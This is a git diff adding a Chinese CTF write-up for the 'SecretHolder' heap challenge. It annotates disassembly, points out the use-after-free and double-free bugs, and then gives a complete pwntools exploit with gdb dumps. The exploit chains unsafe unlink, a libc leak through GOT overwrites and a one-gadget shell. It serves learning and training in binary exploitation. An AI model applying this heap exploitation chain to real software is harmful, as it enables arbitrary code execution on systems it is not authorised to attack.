finish 6.1.21

This commit is contained in:
firmianay 2018-05-04 14:31:56 +08:00
parent 3663cd6394
commit 9652ac99b1
3 changed files with 423 additions and 75 deletions

View File

@ -106,23 +106,23 @@ Which Secret do you want to wipe?
| 0x004008e9 mov dword [local_14h], eax | 0x004008e9 mov dword [local_14h], eax
| 0x004008ec mov eax, dword [local_14h] | 0x004008ec mov eax, dword [local_14h]
| 0x004008ef cmp eax, 2 ; 2 | 0x004008ef cmp eax, 2 ; 2
| ,=< 0x004008f2 je 0x400963 | ,=< 0x004008f2 je 0x400963 ; big secret
| | 0x004008f4 cmp eax, 3 ; 3 | | 0x004008f4 cmp eax, 3 ; 3
| ,==< 0x004008f7 je 0x4009bc | ,==< 0x004008f7 je 0x4009bc ; huge secret
| || 0x004008fd cmp eax, 1 ; 1 | || 0x004008fd cmp eax, 1 ; 1
| ,===< 0x00400900 je 0x400907 | ,===< 0x00400900 je 0x400907 ; small secret
| ,====< 0x00400902 jmp 0x400a11 | ,====< 0x00400902 jmp 0x400a11
| |||| ; JMP XREF from 0x00400900 (sub.Which_level_of_secret_do_you_want_to_keep_86d) | |||| ; JMP XREF from 0x00400900 (sub.Which_level_of_secret_do_you_want_to_keep_86d)
| |`---> 0x00400907 mov eax, dword [0x006020c0] ; [0x6020c0:4]=0 | |`---> 0x00400907 mov eax, dword [0x006020c0] ; small_flag表示 small secret 是否已存在
| | || 0x0040090d test eax, eax | | || 0x0040090d test eax, eax
| |,===< 0x0040090f je 0x400916 | |,===< 0x0040090f je 0x400916 ; small_flag 0
| ,=====< 0x00400911 jmp 0x400a11 | ,=====< 0x00400911 jmp 0x400a11
| ||||| ; JMP XREF from 0x0040090f (sub.Which_level_of_secret_do_you_want_to_keep_86d) | ||||| ; JMP XREF from 0x0040090f (sub.Which_level_of_secret_do_you_want_to_keep_86d)
| ||`---> 0x00400916 mov esi, 0x28 ; '(' ; 40 | ||`---> 0x00400916 mov esi, 0x28 ; '(' ; 40
| || || 0x0040091b mov edi, 1 | || || 0x0040091b mov edi, 1
| || || 0x00400920 call sym.imp.calloc ; void *calloc(size_t nmeb, size_t size) | || || 0x00400920 call sym.imp.calloc ; calloc(1, 0x28) 为 small secret 分配空间
| || || 0x00400925 mov qword [0x006020b0], rax ; [0x6020b0:8]=0 | || || 0x00400925 mov qword [0x006020b0], rax ; 把地址放到 [0x006020b0]
| || || 0x0040092c mov dword [0x006020c0], 1 ; [0x6020c0:4]=0 | || || 0x0040092c mov dword [0x006020c0], 1 ; 设置 small_flag 为 1
| || || 0x00400936 mov edi, str.Tell_me_your_secret: ; 0x400e80 ; "Tell me your secret: " | || || 0x00400936 mov edi, str.Tell_me_your_secret: ; 0x400e80 ; "Tell me your secret: "
| || || 0x0040093b call sym.imp.puts ; int puts(const char *s) | || || 0x0040093b call sym.imp.puts ; int puts(const char *s)
| || || 0x00400940 mov rax, qword [0x006020b0] ; [0x6020b0:8]=0 | || || 0x00400940 mov rax, qword [0x006020b0] ; [0x6020b0:8]=0
@ -130,19 +130,19 @@ Which Secret do you want to wipe?
| || || 0x0040094c mov rsi, rax | || || 0x0040094c mov rsi, rax
| || || 0x0040094f mov edi, 0 | || || 0x0040094f mov edi, 0
| || || 0x00400954 mov eax, 0 | || || 0x00400954 mov eax, 0
| || || 0x00400959 call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte) | || || 0x00400959 call sym.imp.read ; read(0, [0x006020b0], 0x28) 读入 small secret
| ||,===< 0x0040095e jmp 0x400a11 | ||,===< 0x0040095e jmp 0x400a11
| ||||| ; JMP XREF from 0x004008f2 (sub.Which_level_of_secret_do_you_want_to_keep_86d) | ||||| ; JMP XREF from 0x004008f2 (sub.Which_level_of_secret_do_you_want_to_keep_86d)
| ||||`-> 0x00400963 mov eax, dword [0x006020b8] ; [0x6020b8:4]=0 | ||||`-> 0x00400963 mov eax, dword [0x006020b8] ; big_flag表示 big secret 是否已存在
| |||| 0x00400969 test eax, eax | |||| 0x00400969 test eax, eax
| ||||,=< 0x0040096b je 0x400972 | ||||,=< 0x0040096b je 0x400972 ; big_flag 0
| ,======< 0x0040096d jmp 0x400a11 | ,======< 0x0040096d jmp 0x400a11
| |||||| ; JMP XREF from 0x0040096b (sub.Which_level_of_secret_do_you_want_to_keep_86d) | |||||| ; JMP XREF from 0x0040096b (sub.Which_level_of_secret_do_you_want_to_keep_86d)
| |||||`-> 0x00400972 mov esi, 0xfa0 ; 4000 | |||||`-> 0x00400972 mov esi, 0xfa0 ; 4000
| ||||| 0x00400977 mov edi, 1 | ||||| 0x00400977 mov edi, 1
| ||||| 0x0040097c call sym.imp.calloc ; void *calloc(size_t nmeb, size_t size) | ||||| 0x0040097c call sym.imp.calloc ; calloc(1, 0xfa0) 为 big secret 分配空间
| ||||| 0x00400981 mov qword [0x006020a0], rax ; [0x6020a0:8]=0 | ||||| 0x00400981 mov qword [0x006020a0], rax ; 把地址放到 [0x006020a0]
| ||||| 0x00400988 mov dword [0x006020b8], 1 ; [0x6020b8:4]=0 | ||||| 0x00400988 mov dword [0x006020b8], 1 ; 设置 big_flag 为 1
| ||||| 0x00400992 mov edi, str.Tell_me_your_secret: ; 0x400e80 ; "Tell me your secret: " | ||||| 0x00400992 mov edi, str.Tell_me_your_secret: ; 0x400e80 ; "Tell me your secret: "
| ||||| 0x00400997 call sym.imp.puts ; int puts(const char *s) | ||||| 0x00400997 call sym.imp.puts ; int puts(const char *s)
| ||||| 0x0040099c mov rax, qword [0x006020a0] ; [0x6020a0:8]=0 | ||||| 0x0040099c mov rax, qword [0x006020a0] ; [0x6020a0:8]=0
@ -150,19 +150,19 @@ Which Secret do you want to wipe?
| ||||| 0x004009a8 mov rsi, rax | ||||| 0x004009a8 mov rsi, rax
| ||||| 0x004009ab mov edi, 0 | ||||| 0x004009ab mov edi, 0
| ||||| 0x004009b0 mov eax, 0 | ||||| 0x004009b0 mov eax, 0
| ||||| 0x004009b5 call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte) | ||||| 0x004009b5 call sym.imp.read ; read(0, [0x006020a0], 0xfa0) 读入 big secret
| |||||,=< 0x004009ba jmp 0x400a11 | |||||,=< 0x004009ba jmp 0x400a11
| |||||| ; JMP XREF from 0x004008f7 (sub.Which_level_of_secret_do_you_want_to_keep_86d) | |||||| ; JMP XREF from 0x004008f7 (sub.Which_level_of_secret_do_you_want_to_keep_86d)
| ||||`--> 0x004009bc mov eax, dword [0x006020bc] ; [0x6020bc:4]=0 | ||||`--> 0x004009bc mov eax, dword [0x006020bc] ; huge_flag表示 huge secret 是否已存在
| |||| | 0x004009c2 test eax, eax | |||| | 0x004009c2 test eax, eax
| ||||,==< 0x004009c4 je 0x4009c8 | ||||,==< 0x004009c4 je 0x4009c8 ; huge_flag 0
| ,=======< 0x004009c6 jmp 0x400a11 | ,=======< 0x004009c6 jmp 0x400a11
| ||||||| ; JMP XREF from 0x004009c4 (sub.Which_level_of_secret_do_you_want_to_keep_86d) | ||||||| ; JMP XREF from 0x004009c4 (sub.Which_level_of_secret_do_you_want_to_keep_86d)
| |||||`--> 0x004009c8 mov esi, 0x61a80 | |||||`--> 0x004009c8 mov esi, 0x61a80
| ||||| | 0x004009cd mov edi, 1 | ||||| | 0x004009cd mov edi, 1
| ||||| | 0x004009d2 call sym.imp.calloc ; void *calloc(size_t nmeb, size_t size) | ||||| | 0x004009d2 call sym.imp.calloc ; calloc(1, 0x61a80) 为 huge secret 分配空间
| ||||| | 0x004009d7 mov qword [0x006020a8], rax ; [0x6020a8:8]=0 | ||||| | 0x004009d7 mov qword [0x006020a8], rax ; 把地址放到 [0x006020a8]
| ||||| | 0x004009de mov dword [0x006020bc], 1 ; [0x6020bc:4]=0 | ||||| | 0x004009de mov dword [0x006020bc], 1 ; 设置 huge_flag 为 1
| ||||| | 0x004009e8 mov edi, str.Tell_me_your_secret: ; 0x400e80 ; "Tell me your secret: " | ||||| | 0x004009e8 mov edi, str.Tell_me_your_secret: ; 0x400e80 ; "Tell me your secret: "
| ||||| | 0x004009ed call sym.imp.puts ; int puts(const char *s) | ||||| | 0x004009ed call sym.imp.puts ; int puts(const char *s)
| ||||| | 0x004009f2 mov rax, qword [0x006020a8] ; [0x6020a8:8]=0 | ||||| | 0x004009f2 mov rax, qword [0x006020a8] ; [0x6020a8:8]=0
@ -170,7 +170,7 @@ Which Secret do you want to wipe?
| ||||| | 0x004009fe mov rsi, rax | ||||| | 0x004009fe mov rsi, rax
| ||||| | 0x00400a01 mov edi, 0 | ||||| | 0x00400a01 mov edi, 0
| ||||| | 0x00400a06 mov eax, 0 | ||||| | 0x00400a06 mov eax, 0
| ||||| | 0x00400a0b call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte) | ||||| | 0x00400a0b call sym.imp.read ; read(0, [0x006020a8], 0x61a80) 读入 huge secret
| ||||| | 0x00400a10 nop | ||||| | 0x00400a10 nop
| ||||| | ; XREFS: JMP 0x00400902 JMP 0x00400911 JMP 0x0040095e JMP 0x0040096d JMP 0x004009ba JMP 0x004009c6 | ||||| | ; XREFS: JMP 0x00400902 JMP 0x00400911 JMP 0x0040095e JMP 0x0040096d JMP 0x004009ba JMP 0x004009c6
| `````-`-> 0x00400a11 mov rax, qword [local_8h] | `````-`-> 0x00400a11 mov rax, qword [local_8h]
@ -181,6 +181,7 @@ Which Secret do you want to wipe?
| `-> 0x00400a25 leave | `-> 0x00400a25 leave
\ 0x00400a26 ret \ 0x00400a26 ret
``` ```
果然该函数使用 `calloc()` 为三种 secret 分别了不同大小的 chunksmall secret 属于 small chunkbig secret 和 huge secret 属于 large chunk。在分配前会检查对应的 secret 是否已经存在,即每种 chunk 只能有一个chunk 的指针放在 `.bss` 段上。另外其实读入 secret 的逻辑还是有问题的,它没有处理换行符,也没有在字符串末尾加 "\x00"。
#### Wipe secret #### Wipe secret
``` ```
@ -222,27 +223,27 @@ Which Secret do you want to wipe?
| 0x00400aa3 mov dword [local_14h], eax | 0x00400aa3 mov dword [local_14h], eax
| 0x00400aa6 mov eax, dword [local_14h] | 0x00400aa6 mov eax, dword [local_14h]
| 0x00400aa9 cmp eax, 2 ; 2 | 0x00400aa9 cmp eax, 2 ; 2
| ,=< 0x00400aac je 0x400ad3 | ,=< 0x00400aac je 0x400ad3 ; big secret
| | 0x00400aae cmp eax, 3 ; 3 | | 0x00400aae cmp eax, 3 ; 3
| ,==< 0x00400ab1 je 0x400aee | ,==< 0x00400ab1 je 0x400aee ; huge secret
| || 0x00400ab3 cmp eax, 1 ; 1 | || 0x00400ab3 cmp eax, 1 ; 1
| ,===< 0x00400ab6 jne 0x400b08 | ,===< 0x00400ab6 jne 0x400b08
| ||| 0x00400ab8 mov rax, qword [0x006020b0] ; [0x6020b0:8]=0 | ||| 0x00400ab8 mov rax, qword [0x006020b0] ; small secret
| ||| 0x00400abf mov rdi, rax | ||| 0x00400abf mov rdi, rax
| ||| 0x00400ac2 call sym.imp.free ; void free(void *ptr) | ||| 0x00400ac2 call sym.imp.free ; free([0x006020b0]) 释放 small secret
| ||| 0x00400ac7 mov dword [0x006020c0], 0 ; [0x6020c0:4]=0 | ||| 0x00400ac7 mov dword [0x006020c0], 0 ; 设置 small_flag 为 0
| ,====< 0x00400ad1 jmp 0x400b08 | ,====< 0x00400ad1 jmp 0x400b08
| |||| ; JMP XREF from 0x00400aac (sub.Which_Secret_do_you_want_to_wipe_a27) | |||| ; JMP XREF from 0x00400aac (sub.Which_Secret_do_you_want_to_wipe_a27)
| |||`-> 0x00400ad3 mov rax, qword [0x006020a0] ; [0x6020a0:8]=0 | |||`-> 0x00400ad3 mov rax, qword [0x006020a0] ; [0x6020a0:8]=0
| ||| 0x00400ada mov rdi, rax | ||| 0x00400ada mov rdi, rax
| ||| 0x00400add call sym.imp.free ; void free(void *ptr) | ||| 0x00400add call sym.imp.free ; free([0x006020a0]) 释放 big secret
| ||| 0x00400ae2 mov dword [0x006020b8], 0 ; [0x6020b8:4]=0 | ||| 0x00400ae2 mov dword [0x006020b8], 0 ; 设置 big_flag 为 0
| |||,=< 0x00400aec jmp 0x400b08 | |||,=< 0x00400aec jmp 0x400b08
| |||| ; JMP XREF from 0x00400ab1 (sub.Which_Secret_do_you_want_to_wipe_a27) | |||| ; JMP XREF from 0x00400ab1 (sub.Which_Secret_do_you_want_to_wipe_a27)
| ||`--> 0x00400aee mov rax, qword [0x006020a8] ; [0x6020a8:8]=0 | ||`--> 0x00400aee mov rax, qword [0x006020a8] ; [0x6020a8:8]=0
| || | 0x00400af5 mov rdi, rax | || | 0x00400af5 mov rdi, rax
| || | 0x00400af8 call sym.imp.free ; void free(void *ptr) | || | 0x00400af8 call sym.imp.free ; free([0x006020a8]) 释放 huge secret
| || | 0x00400afd mov dword [0x006020bc], 0 ; [0x6020bc:4]=0 | || | 0x00400afd mov dword [0x006020bc], 0 ; 设置 huge_flag 为 0
| || | 0x00400b07 nop | || | 0x00400b07 nop
| || | ; JMP XREF from 0x00400ab6 (sub.Which_Secret_do_you_want_to_wipe_a27) | || | ; JMP XREF from 0x00400ab6 (sub.Which_Secret_do_you_want_to_wipe_a27)
| || | ; JMP XREF from 0x00400ad1 (sub.Which_Secret_do_you_want_to_wipe_a27) | || | ; JMP XREF from 0x00400ad1 (sub.Which_Secret_do_you_want_to_wipe_a27)
@ -255,6 +256,7 @@ Which Secret do you want to wipe?
| `-> 0x00400b1c leave | `-> 0x00400b1c leave
\ 0x00400b1d ret \ 0x00400b1d ret
``` ```
该函数在释放 secret 时,首先将对应的 chunk 释放掉,然后设置 flag 为 0。漏洞很明显就是没有将 chunk 指针清空,存在悬指针,可能导致 use-after-free然后在释放前也没有检查 flag可能导致 double-free。
#### Renew secret #### Renew secret
``` ```
@ -296,14 +298,14 @@ Which Secret do you want to wipe?
| 0x00400b9a mov dword [local_14h], eax | 0x00400b9a mov dword [local_14h], eax
| 0x00400b9d mov eax, dword [local_14h] | 0x00400b9d mov eax, dword [local_14h]
| 0x00400ba0 cmp eax, 2 ; 2 | 0x00400ba0 cmp eax, 2 ; 2
| ,=< 0x00400ba3 je 0x400be9 | ,=< 0x00400ba3 je 0x400be9 ; big secret
| | 0x00400ba5 cmp eax, 3 ; 3 | | 0x00400ba5 cmp eax, 3 ; 3
| ,==< 0x00400ba8 je 0x400c1f | ,==< 0x00400ba8 je 0x400c1f ; huge secret
| || 0x00400baa cmp eax, 1 ; 1 | || 0x00400baa cmp eax, 1 ; 1
| ,===< 0x00400bad jne 0x400c52 | ,===< 0x00400bad jne 0x400c52
| ||| 0x00400bb3 mov eax, dword [0x006020c0] ; [0x6020c0:4]=0 | ||| 0x00400bb3 mov eax, dword [0x006020c0] ; small secret
| ||| 0x00400bb9 test eax, eax | ||| 0x00400bb9 test eax, eax
| ,====< 0x00400bbb je 0x400be7 | ,====< 0x00400bbb je 0x400be7 ; small_flag 0 函数返回
| |||| 0x00400bbd mov edi, str.Tell_me_your_secret: ; 0x400e80 ; "Tell me your secret: " | |||| 0x00400bbd mov edi, str.Tell_me_your_secret: ; 0x400e80 ; "Tell me your secret: "
| |||| 0x00400bc2 call sym.imp.puts ; int puts(const char *s) | |||| 0x00400bc2 call sym.imp.puts ; int puts(const char *s)
| |||| 0x00400bc7 mov rax, qword [0x006020b0] ; [0x6020b0:8]=0 | |||| 0x00400bc7 mov rax, qword [0x006020b0] ; [0x6020b0:8]=0
@ -311,14 +313,14 @@ Which Secret do you want to wipe?
| |||| 0x00400bd3 mov rsi, rax | |||| 0x00400bd3 mov rsi, rax
| |||| 0x00400bd6 mov edi, 0 | |||| 0x00400bd6 mov edi, 0
| |||| 0x00400bdb mov eax, 0 | |||| 0x00400bdb mov eax, 0
| |||| 0x00400be0 call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte) | |||| 0x00400be0 call sym.imp.read ; read(0, [0x006020b0], 0x28) 否则读入 small secret
| ,=====< 0x00400be5 jmp 0x400c52 | ,=====< 0x00400be5 jmp 0x400c52
| ||||| ; JMP XREF from 0x00400bbb (sub.Which_Secret_do_you_want_to_renew_b1e) | ||||| ; JMP XREF from 0x00400bbb (sub.Which_Secret_do_you_want_to_renew_b1e)
| ,=`----> 0x00400be7 jmp 0x400c52 | ,=`----> 0x00400be7 jmp 0x400c52
| || ||| ; JMP XREF from 0x00400ba3 (sub.Which_Secret_do_you_want_to_renew_b1e) | || ||| ; JMP XREF from 0x00400ba3 (sub.Which_Secret_do_you_want_to_renew_b1e)
| || ||`-> 0x00400be9 mov eax, dword [0x006020b8] ; [0x6020b8:4]=0 | || ||`-> 0x00400be9 mov eax, dword [0x006020b8] ; [0x6020b8:4]=0
| || || 0x00400bef test eax, eax | || || 0x00400bef test eax, eax
| || ||,=< 0x00400bf1 je 0x400c1d | || ||,=< 0x00400bf1 je 0x400c1d ; big_flag 0 函数返回
| || ||| 0x00400bf3 mov edi, str.Tell_me_your_secret: ; 0x400e80 ; "Tell me your secret: " | || ||| 0x00400bf3 mov edi, str.Tell_me_your_secret: ; 0x400e80 ; "Tell me your secret: "
| || ||| 0x00400bf8 call sym.imp.puts ; int puts(const char *s) | || ||| 0x00400bf8 call sym.imp.puts ; int puts(const char *s)
| || ||| 0x00400bfd mov rax, qword [0x006020a0] ; [0x6020a0:8]=0 | || ||| 0x00400bfd mov rax, qword [0x006020a0] ; [0x6020a0:8]=0
@ -326,14 +328,14 @@ Which Secret do you want to wipe?
| || ||| 0x00400c09 mov rsi, rax | || ||| 0x00400c09 mov rsi, rax
| || ||| 0x00400c0c mov edi, 0 | || ||| 0x00400c0c mov edi, 0
| || ||| 0x00400c11 mov eax, 0 | || ||| 0x00400c11 mov eax, 0
| || ||| 0x00400c16 call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte) | || ||| 0x00400c16 call sym.imp.read ; read(0, [0x006020a0], 0xfa0) 否则读入 big secret
| ||,====< 0x00400c1b jmp 0x400c52 | ||,====< 0x00400c1b jmp 0x400c52
| |||||| ; JMP XREF from 0x00400bf1 (sub.Which_Secret_do_you_want_to_renew_b1e) | |||||| ; JMP XREF from 0x00400bf1 (sub.Which_Secret_do_you_want_to_renew_b1e)
| ,=====`-> 0x00400c1d jmp 0x400c52 | ,=====`-> 0x00400c1d jmp 0x400c52
| |||||| ; JMP XREF from 0x00400ba8 (sub.Which_Secret_do_you_want_to_renew_b1e) | |||||| ; JMP XREF from 0x00400ba8 (sub.Which_Secret_do_you_want_to_renew_b1e)
| |||||`--> 0x00400c1f mov eax, dword [0x006020bc] ; [0x6020bc:4]=0 | |||||`--> 0x00400c1f mov eax, dword [0x006020bc] ; [0x6020bc:4]=0
| ||||| 0x00400c25 test eax, eax | ||||| 0x00400c25 test eax, eax
| ||||| ,=< 0x00400c27 je 0x400c51 | ||||| ,=< 0x00400c27 je 0x400c51 ; huge_flag 0 函数返回
| ||||| | 0x00400c29 mov edi, str.Tell_me_your_secret: ; 0x400e80 ; "Tell me your secret: " | ||||| | 0x00400c29 mov edi, str.Tell_me_your_secret: ; 0x400e80 ; "Tell me your secret: "
| ||||| | 0x00400c2e call sym.imp.puts ; int puts(const char *s) | ||||| | 0x00400c2e call sym.imp.puts ; int puts(const char *s)
| ||||| | 0x00400c33 mov rax, qword [0x006020a8] ; [0x6020a8:8]=0 | ||||| | 0x00400c33 mov rax, qword [0x006020a8] ; [0x6020a8:8]=0
@ -341,7 +343,7 @@ Which Secret do you want to wipe?
| ||||| | 0x00400c3f mov rsi, rax | ||||| | 0x00400c3f mov rsi, rax
| ||||| | 0x00400c42 mov edi, 0 | ||||| | 0x00400c42 mov edi, 0
| ||||| | 0x00400c47 mov eax, 0 | ||||| | 0x00400c47 mov eax, 0
| ||||| | 0x00400c4c call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte) | ||||| | 0x00400c4c call sym.imp.read ; read(0, [0x006020a8], 0x61a80) 否则读入 huge secret
| ||||| | ; JMP XREF from 0x00400c27 (sub.Which_Secret_do_you_want_to_renew_b1e) | ||||| | ; JMP XREF from 0x00400c27 (sub.Which_Secret_do_you_want_to_renew_b1e)
| ||||| `-> 0x00400c51 nop | ||||| `-> 0x00400c51 nop
| ||||| ; JMP XREF from 0x00400bad (sub.Which_Secret_do_you_want_to_renew_b1e) | ||||| ; JMP XREF from 0x00400bad (sub.Which_Secret_do_you_want_to_renew_b1e)
@ -357,9 +359,264 @@ Which Secret do you want to wipe?
| `-> 0x00400c66 leave | `-> 0x00400c66 leave
\ 0x00400c67 ret \ 0x00400c67 ret
``` ```
该函数首先判断对应的 flag 是否为 1即 secret 是否已经存在,如果不存在,则读入 secret否则函数直接返回。
## 漏洞利用 ## 漏洞利用
总结一下我们知道的东西:
- small secret: small chunk, 40 bytes
- small_ptr: 0x006020b0
- small_flag: 0x006020c0
- big secret: large chunk, 4000 bytes
- big_ptr: 0x006020a0
- big_flag: 0x006020b8
- huge secret: large chunk, 400000 bytes
- huge_ptr: 0x006020a8
- huge_flag: 0x006020bc
漏洞:
- double-free在 free chunk 的位置 calloc 另一个 chunk即可再次 free 这个 chunk
- use-after-free由于 double-freecalloc 出来的那个 chunk 被认为是 free 的,但可以使用
有个问题是400000 bytes 的 huge secret 连 top chunk 都不能满足,此时会调用 `sysmalloc()`,通过 `brk()` 或者 `mmap()` 为其分配空间,该函数首先判断是否满足 `mmap()` 的分配条件,即需求 chunk 的大小大于阀值 `mp_.mmap_threshold`,且此进程通过 `mmap()` 分配的总内存数量 `mp_.n_mmaps` 小于最大值 `mp_.n_mmaps_max`
```c
/*
If have mmap, and the request size meets the mmap threshold, and
the system supports mmap, and there are few enough currently
allocated mmapped regions, try to directly map this request
rather than expanding top.
*/
if (av == NULL
|| ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold)
&& (mp_.n_mmaps < mp_.n_mmaps_max)))
{
[...]
/* update statistics */
int new = atomic_exchange_and_add (&mp_.n_mmaps, 1) + 1;
atomic_max (&mp_.max_n_mmaps, new);
unsigned long sum;
sum = atomic_exchange_and_add (&mp_.mmapped_mem, size) + size;
atomic_max (&mp_.max_mmapped_mem, sum);
[...]
}
```
此时将使用 `mmap()` 来分配内存。然而这样得到的内存将与初始堆(由`brk()`分配,位于`.bss`段附近)的位置相距很远,难以利用。所以我们要想办法使用 `brk()` 来分配,好消息是由于性能的关系,在该函数结束时更新了 `mp_.max_n_mmaps`,使得下一次的分配将使得判断条件不成立,即使用 `brk()`
#### unsafe unlink
```python
def unlink():
keep(1)
wipe(1)
keep(2) # big
wipe(1) # double free
keep(1) # small
keep(3)
wipe(3)
keep(3) # huge
payload = p64(0) # fake prev_size
payload += p64(0x21) # fake size
payload += p64(small_ptr - 0x18) # fake fd
payload += p64(small_ptr - 0x10) # fake bk
payload += p64(0x20) # fake prev_size
payload += p64(0x61a90) # fake size
renew(2, payload)
wipe(3) # unsafe unlink
```
首先制造 double free
```
gdb-peda$ x/5gx 0x006020a0
0x6020a0: 0x0000000000603010 0x0000000000603040
0x6020b0: 0x0000000000603010 0x0000000100000001
0x6020c0: 0x0000000000000001
gdb-peda$ x/10gx 0x00603010-0x10
0x603000: 0x0000000000000000 0x0000000000000031 <-- small, big
0x603010: 0x0000000041414141 0x0000000000000000
0x603020: 0x0000000000000000 0x0000000000000000
0x603030: 0x0000000000000000 0x0000000000061a91 <-- huge
0x603040: 0x0000000041414141 0x0000000000000000
```
然后在 big secret 里布置一个 fake chunk
```
gdb-peda$ x/5gx 0x006020a0
0x6020a0: 0x0000000000603010 0x0000000000603040
0x6020b0: 0x0000000000603010 0x0000000100000001
0x6020c0: 0x0000000000000001
gdb-peda$ x/10gx 0x00603010-0x10
0x603000: 0x0000000000000000 0x0000000000000031 <-- small, big
0x603010: 0x0000000000000000 0x0000000000000021 <-- fake chunk
0x603020: 0x0000000000602098 0x00000000006020a0 <-- fd, bk pointer
0x603030: 0x0000000000000020 0x0000000000061a90 <-- huge
0x603040: 0x0000000041414141 0x0000000000000000
gdb-peda$ x/gx 0x00602098 + 0x18
0x6020b0: 0x0000000000603010 <-- P->fd->bk = P
gdb-peda$ x/gx 0x006020a0 + 0x10
0x6020b0: 0x0000000000603010 <-- P->bk->fd = P
```
释放 huge secret即可触发 unsafe unlink
```
gdb-peda$ x/6gx 0x00602098
0x602098: 0x0000000000000000 0x0000000000603010
0x6020a8: 0x0000000000603040 0x0000000000602098 <-- fake chunk ptr
0x6020b8: 0x0000000000000001 0x0000000000000001
```
于是我们就获得了修改 `.bss` 段的能力。
#### leak libc
```python
def leak():
global system_addr
payload = "A" * 8
payload += p64(elf.got['free']) # big_ptr -> free@got.plt
payload += "A" * 8
payload += p64(big_ptr) # small_ptr -> big_ptr
renew(1, payload)
renew(2, p64(elf.plt['puts'])) # free@got.plt -> puts@plt
renew(1, p64(elf.got['puts'])) # big_ptr -> puts@got.plt
wipe(2)
puts_addr = u64(io.recvline()[:6] + "\x00\x00")
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
log.info("libc base: 0x%x" % libc_base)
log.info("system address: 0x%x" % system_addr)
```
修改 big_ptr 指向 `free@got.plt`small_ptr 指向 big_ptr
```
gdb-peda$ x/6gx 0x00602098
0x602098: 0x4141414141414141 0x0000000000602018
0x6020a8: 0x4141414141414141 0x00000000006020a0
0x6020b8: 0x0000000000000001 0x0000000000000001
gdb-peda$ x/gx 0x00602018
0x602018 <free@got.plt>: 0x00007ffff7a91a70
```
修改 `free@got.plt``puts@plt`big_ptr 指向 `puts@got.plt`
```
gdb-peda$ x/6gx 0x00602098
0x602098: 0x4141414141414141 0x0000000000602020
0x6020a8: 0x4141414141414141 0x00000000006020a0
0x6020b8: 0x0000000000000001 0x0000000000000001
gdb-peda$ x/gx 0x00602018
0x602018 <free@got.plt>: 0x00000000004006c0
gdb-peda$ x/gx 0x00602020
0x602020 <puts@got.plt>: 0x00007ffff7a7d5d0
```
此时释放 big secret其实就是 `puts(puts_addr)`,通过偏移计算即可得到 libc 基址和 one-gadget 地址。
#### pwn
```python
def pwn():
payload = "A" * 0x10
payload += p64(elf.got['puts']) # small_ptr -> puts@got.plt
renew(1, payload)
renew(1, p64(one_gadget)) # puts@got.plt -> one_gadget
io.interactive()
```
最后可以通过两次修改,将 `puts@got.plt` 修改为 one-gadget获得 shell。
开启 ASLRBingo!!!
```
$ python exp.py
[+] Starting local process './SecretHolder': pid 6979
[*] libc base: 0x7f34e24ae000
[*] one_gadget address: 0x7f34e24f325a
[*] Switching to interactive mode
$ whoami
firmy
```
#### exploit
完整的 exp 如下:
```python
#!/usr/bin/env python
from pwn import *
#context.log_level = 'debug'
io = process(['./SecretHolder'], env={'LD_PRELOAD':'./libc.so.6'})
elf = ELF('SecretHolder')
libc = ELF('libc.so.6')
small_ptr = 0x006020b0
big_ptr = 0x006020a0
def keep(idx):
io.sendlineafter("Renew secret\n", '1')
io.sendlineafter("Huge secret\n", str(idx))
io.sendafter("secret: \n", 'AAAA')
def wipe(idx):
io.sendlineafter("Renew secret\n", '2')
io.sendlineafter("Huge secret\n", str(idx))
def renew(idx, content):
io.sendlineafter("Renew secret\n", '3')
io.sendlineafter("Huge secret\n", str(idx))
io.sendafter("secret: \n", content)
def unlink():
keep(1)
wipe(1)
keep(2) # big
wipe(1) # double free
keep(1) # small
keep(3)
wipe(3)
keep(3) # huge
payload = p64(0) # fake prev_size
payload += p64(0x21) # fake size
payload += p64(small_ptr - 0x18) # fake fd
payload += p64(small_ptr - 0x10) # fake bk
payload += p64(0x20) # fake prev_size
payload += p64(0x61a90) # fake size
renew(2, payload)
wipe(3) # unsafe unlink
def leak():
global one_gadget
payload = "A" * 8
payload += p64(elf.got['free']) # big_ptr -> free@got.plt
payload += "A" * 8
payload += p64(big_ptr) # small_ptr -> big_ptr
renew(1, payload)
renew(2, p64(elf.plt['puts'])) # free@got.plt -> puts@plt
renew(1, p64(elf.got['puts'])) # big_ptr -> puts@got.plt
wipe(2)
puts_addr = u64(io.recvline()[:6] + "\x00\x00")
libc_base = puts_addr - libc.symbols['puts']
one_gadget = libc_base + 0x4525a
log.info("libc base: 0x%x" % libc_base)
log.info("one_gadget address: 0x%x" % one_gadget)
def pwn():
payload = "A" * 0x10
payload += p64(elf.got['puts']) # small_ptr -> puts@got.plt
renew(1, payload)
renew(1, p64(one_gadget)) # puts@got.plt -> one_gadget
io.interactive()
if __name__ == "__main__":
unlink()
leak()
pwn()
```
## 参考资料 ## 参考资料
- https://ctftime.org/task/2954 - https://ctftime.org/task/2954

View File

@ -95,11 +95,11 @@ Which Secret do you want to wipe?
| 0x00400963 call sym.imp.puts ; int puts(const char *s) | 0x00400963 call sym.imp.puts ; int puts(const char *s)
| 0x00400968 mov edi, str.2._Big_secret ; 0x400f19 ; "2. Big secret" | 0x00400968 mov edi, str.2._Big_secret ; 0x400f19 ; "2. Big secret"
| 0x0040096d call sym.imp.puts ; int puts(const char *s) | 0x0040096d call sym.imp.puts ; int puts(const char *s)
| 0x00400972 mov eax, dword [0x006020dc] ; [0x6020dc:4]=0 | 0x00400972 mov eax, dword [0x006020dc] ; huge_flag表示 huge secret 是否已存在
| 0x00400978 test eax, eax | 0x00400978 test eax, eax
| ,=< 0x0040097a jne 0x400986 | ,=< 0x0040097a jne 0x400986 ; huge_flag 1 时跳转
| | 0x0040097c mov edi, str.3._Keep_a_huge_secret_and_lock_it_forever ; 0x400f28 ; "3. Keep a huge secret and lock it forever" | | 0x0040097c mov edi, str.3._Keep_a_huge_secret_and_lock_it_forever ; 0x400f28 ; "3. Keep a huge secret and lock it forever"
| | 0x00400981 call sym.imp.puts ; int puts(const char *s) | | 0x00400981 call sym.imp.puts ; 否则打印出来
